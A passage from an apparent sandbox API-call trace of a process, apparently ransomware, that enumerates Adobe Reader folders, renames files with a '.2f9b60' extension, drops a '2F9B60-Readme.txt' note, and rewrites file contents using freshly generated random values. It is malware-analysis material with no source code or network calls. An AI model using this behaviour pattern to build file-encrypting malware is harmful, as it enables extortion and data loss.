DestinationString="ec91d3f4f9222b09bdcca688e5b793daca6d3c84dbe24722f3ec") [0242.075] RtlAnsiStringToUnicodeString (in: DestinationString=0x3432fa48, SourceString="ec91d3f4f9222b09bdcca688e5b793daca6d3c84dbe24722f3ec", AllocateDestinationString=1 | out: DestinationString="ec91d3f4f9222b09bdcca688e5b793daca6d3c84dbe24722f3ec") returned 0x0 [0242.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebba60 [0242.076] wcscat (in: _Dest=0x43110a20, _Source="ec91d3f4f9222" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\ec91d3f4f9222") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\ec91d3f4f9222" [0242.076] wcscat (in: _Dest=0x43110a20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\ec91d3f4f9222.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\ec91d3f4f9222.2f9b60" [0242.076] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\ec91d3f4f9222.2f9b60", NtPathName=0x3432fa20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\ec91d3f4f9222.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205e180 [0243.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e180) returned 1 [0243.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43090340) returned 1 [0243.040] NtQueryInformationFile (in: FileHandle=0x2a68, IoStatusBlock=0x3432fa88, FileInformation=0x3432fa98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3432fa88, FileInformation=0x3432fa98) returned 0x0 [0243.040] NtSetInformationFile (FileHandle=0x2a68, IoStatusBlock=0x3432fa88, FileInformation=0x3432fa98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43110a20) returned 1 [0243.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0243.395] FlushFileBuffers (hFile=0x2a68) returned 1 [0243.403] CloseHandle (hObject=0x2a68) returned 1 [0243.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ac160 [0243.485] wcscpy (in: _Dest=0x202ac160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\" [0243.485] wcscat (in: _Dest=0x202ac160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt" [0243.485] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\2f9b60-readme.txt")) returned 0x20 [0243.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 [0243.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16500) returned 1 [0243.487] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11581, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0243.487] FindClose (in: hFindFile=0x1cd9c730 | out: hFindFile=0x1cd9c730) returned 1 [0243.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a7d0) returned 1 [0243.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783680) returned 1 [0243.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4be30) returned 1 [0243.490] FindNextFileW (in: hFindFile=0x1cd9c490, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0243.490] wcscmp (_String1="CHS", _String2=".") returned 1 [0243.490] wcscmp (_String1="CHS", _String2="..") returned 1 [0243.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4be30 [0243.490] wcscpy (in: _Dest=0x1cf4be30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates" [0243.490] wcscat (in: _Dest=0x1cf4be30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\" [0243.490] wcscat (in: _Dest=0x1cf4be30, _Source="CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" [0243.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86aa10 [0243.491] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" [0243.491] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\" [0243.491] wcscat (in: _Dest=0x1b86aa10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*" [0243.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a7d0 [0243.491] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*", lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c730 [0243.496] wcscmp (_String1=".", _String2=".") returned 0 [0243.496] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.496] wcscmp (_String1="..", _String2=".") returned 1 [0243.496] wcscmp (_String1="..", _String2="..") returned 0 [0243.496] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0243.496] wcscmp (_String1="AdobeID.pdf", _String2=".") returned 1 [0243.496] wcscmp (_String1="AdobeID.pdf", _String2="..") returned 1 [0243.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4318c5c0 [0243.496] wcscpy (in: _Dest=0x4318c5c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS" [0243.496] wcscat (in: _Dest=0x4318c5c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\" [0243.496] wcscat (in: _Dest=0x4318c5c0, _Source="AdobeID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" [0243.497] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf")) returned 0x20 [0243.497] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf", dwFileAttributes=0x20) returned 1 [0243.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2960 [0243.499] GetFileSizeEx (in: hFile=0x2960, lpFileSize=0x3432fa30 | out: lpFileSize=0x3432fa30*=134337) returned 1 [0243.499] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x20cbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.499] ReadFile (in: hFile=0x2960, lpBuffer=0x3432f9b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3432f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3432f9b0*, lpNumberOfBytesRead=0x3432f9f8*=0x4, lpOverlapped=0x0) returned 1 [0243.503] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0243.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263080 [0243.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d40 [0243.505] NtQuerySystemTime (in: CurrentTime=0x3432f8f0 | out: CurrentTime=0x3432f8f0*=132462178473142000) returned 0x0 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6c1c2049 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3d5026e3 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x4ea607c8 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1683725b [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x608e69e3 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x341aca35 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5c2cb589 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x15ca4c5f [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6b129ccf [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x78b6c59a [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6b8d0a7a [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x78b0f926 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5361a216 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3f81d049 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3e79599e [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x9275723 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x78c47259 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x8df5a99 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6ace84ab [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x4c338cd1 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x2851d682 [0243.505] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x2396a268 [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3bf28f33 [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x44b2a705 [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3b531b6a [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x1b926968 [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x14d1ebda [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x437e157d [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x6d26224a [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x3553a8ad [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x34c8158e [0243.506] RtlRandomEx (in: Seed=0x3432f8e0 | out: Seed=0x3432f8e0) returned 0x5d8ef8c6 [0243.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0243.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0243.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0243.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0243.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d40) returned 1 [0243.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0243.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42479930 [0243.510] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.510] ReadFile (in: hFile=0x2960, lpBuffer=0x42479930, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3432f950, lpOverlapped=0x0 | out: lpBuffer=0x42479930*, lpNumberOfBytesRead=0x3432f950*=0x3c00, lpOverlapped=0x0) returned 1 [0243.516] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0243.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0243.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0243.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0243.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424a69f0 [0243.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0243.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d40 [0243.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d40) returned 1 [0243.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0243.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0243.521] WriteFile (hFile=0x2960, lpBuffer=0x424a69f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3432f950, lpOverlapped=0x0) Thread: id = 2048 os_tid = 0x12fc [0137.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4bc80 [0137.886] wcscpy (in: _Dest=0x1cf4bc80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0137.886] wcscat (in: _Dest=0x1cf4bc80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" [0137.886] wcscat (in: _Dest=0x1cf4bc80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*" [0137.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61910 [0137.886] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5ec0 [0137.887] wcscmp (_String1=".", _String2=".") returned 0 [0137.887] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.887] wcscmp (_String1="..", _String2=".") returned 1 [0137.887] wcscmp (_String1="..", _String2="..") returned 0 [0137.887] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0137.887] wcscmp (_String1="JSByteCodeWin.bin", _String2=".") returned 1 [0137.887] wcscmp (_String1="JSByteCodeWin.bin", _String2="..") returned 1 [0137.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c870 [0137.887] wcscpy (in: _Dest=0x2050c870, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" [0137.887] wcscat (in: _Dest=0x2050c870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\" [0137.887] wcscat (in: _Dest=0x2050c870, _Source="JSByteCodeWin.bin" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" [0151.636] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin")) returned 0x20 [0151.636] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin", dwFileAttributes=0x20) returned 1 [0151.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x255c [0151.637] GetFileSizeEx (in: hFile=0x255c, lpFileSize=0x3443f9a0 | out: lpFileSize=0x3443f9a0*=1186728) returned 1 [0151.637] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x121ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.637] ReadFile (in: hFile=0x255c, lpBuffer=0x3443f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3443f968, lpOverlapped=0x0 | out: lpBuffer=0x3443f920*, lpNumberOfBytesRead=0x3443f968*=0x4, lpOverlapped=0x0) returned 1 [0151.664] SetFilePointerEx (in: hFile=0x255c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f250 [0151.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffbd0 [0151.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc60 [0151.665] NtQuerySystemTime (in: CurrentTime=0x3443f860 | out: CurrentTime=0x3443f860*=132462177568810000) returned 0x0 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x222fb7b1 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x2bca7d0c [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x556997c1 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x5c612369 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x44648056 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x45ac28ab [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x7e531878 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x63015f82 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x4480d0f [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x2d121243 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x6c3bf18b [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x449e2059 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x73aab69c [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0xdb3dbb9 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x58fe9125 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x56f8bbc6 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x348e5c5 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x3220ceac [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x482ded32 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x2b29515c [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x395e1c6c [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x6a7bf338 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x7d3881ec [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x2de37d18 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x77620023 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x605e53bd [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x4335ad72 [0151.665] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x4639cdb6 [0151.666] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 0x6a5e9d90 [0151.666] RtlRandomEx (in: Seed=0x3443f850 | out: Seed=0x3443f850) returned 